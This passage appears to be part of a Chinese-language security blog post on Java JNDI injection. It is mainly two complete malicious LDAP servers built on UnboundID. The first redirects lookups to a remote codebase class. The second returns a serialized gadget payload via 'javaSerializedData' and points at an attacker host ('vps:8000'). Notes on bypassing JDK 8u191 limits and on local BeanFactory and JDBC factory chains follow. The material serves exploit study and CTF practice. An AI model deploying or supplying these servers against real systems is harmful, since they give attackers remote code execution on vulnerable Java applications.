public static void run() { int port = 1099; String url = "http://localhost/#Calc"; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch (Exception e) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) { this.codebase = cb; }
@Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); }
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat("")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Calc"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
返回恶意序列化数据
用于绕过>8u191情况,但是在某些高版本jdk也被禁用了,比如11.0.25,17.0.16,具体看VersionHelper12/VersionHelper类中有没有类似:


前者可用,后者被禁。
恶意ldap服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| package LDAP;
import com.unboundid.util.Base64; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import tools.PayloadGen; import tools.ReflectTools;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException;
public class deserServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps:8000/#ExportObject"; int port = 1389;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
try { e.addAttribute("javaSerializedData", ReflectTools.ser2bytes(PayloadGen.getPayload())); } catch (ParseException exception) { exception.printStackTrace(); }
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
本地工厂绕过
原理就是,jndi lookup最终都会从reference里拿到工厂类,然后执行factory.getObjectInstance。而不同的本地工厂,能实现不同的利用。
当jdk>8u121和>8u191时,远程加载工厂类用不了,但是可以找一个能够利用的本地工厂。一般就是找BeanFactory。
这里不展开讲了,打法有很多,可以看:
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://tttang.com/archive/1405/#toc_0x01-beanfactory
当然,除了BeanFactory,还有大量的JDBC连接依赖也实现了ObjectFactory接口,能实现JNDI到JDBC的组合拳:

这里也不展开了,有兴趣的可以看看我之前的博客(1diot9.github.io),或者是看看这几道题:
软件安全赛初赛2025 JDBCParty,NCTF25 H2Revenge,N1CTF junior2024 Derby DerbyPlus。
在JNDI打JDBC时,有两种方法去加载本地工厂。一种是以 javaSerializedData 字段进行反序列化,可通过反序列化 Reference 对象进行其他姿势利用;另一种在高版本JDK中能绕过 javaSerializedData 字段反序列化限制,正常提供 Reference 对象,可以理解为 JNDIReferencePayload 更加兼容的版本。
这两种在java-chains里都有提供:

上面那个JNDIResourceRefPayload是专门用于BeanFactory工厂的。
参考
奇安信攻防社区-JAVA JRMP、RMI、JNDI、反序列化漏洞之间的风花雪月
RMI-攻击方式总结-安全KER - 安全资讯平台
RMI-JEP290的分析与绕过-安全KER - 安全资讯平台
JRMP通信攻击过程及利用介绍-先知社区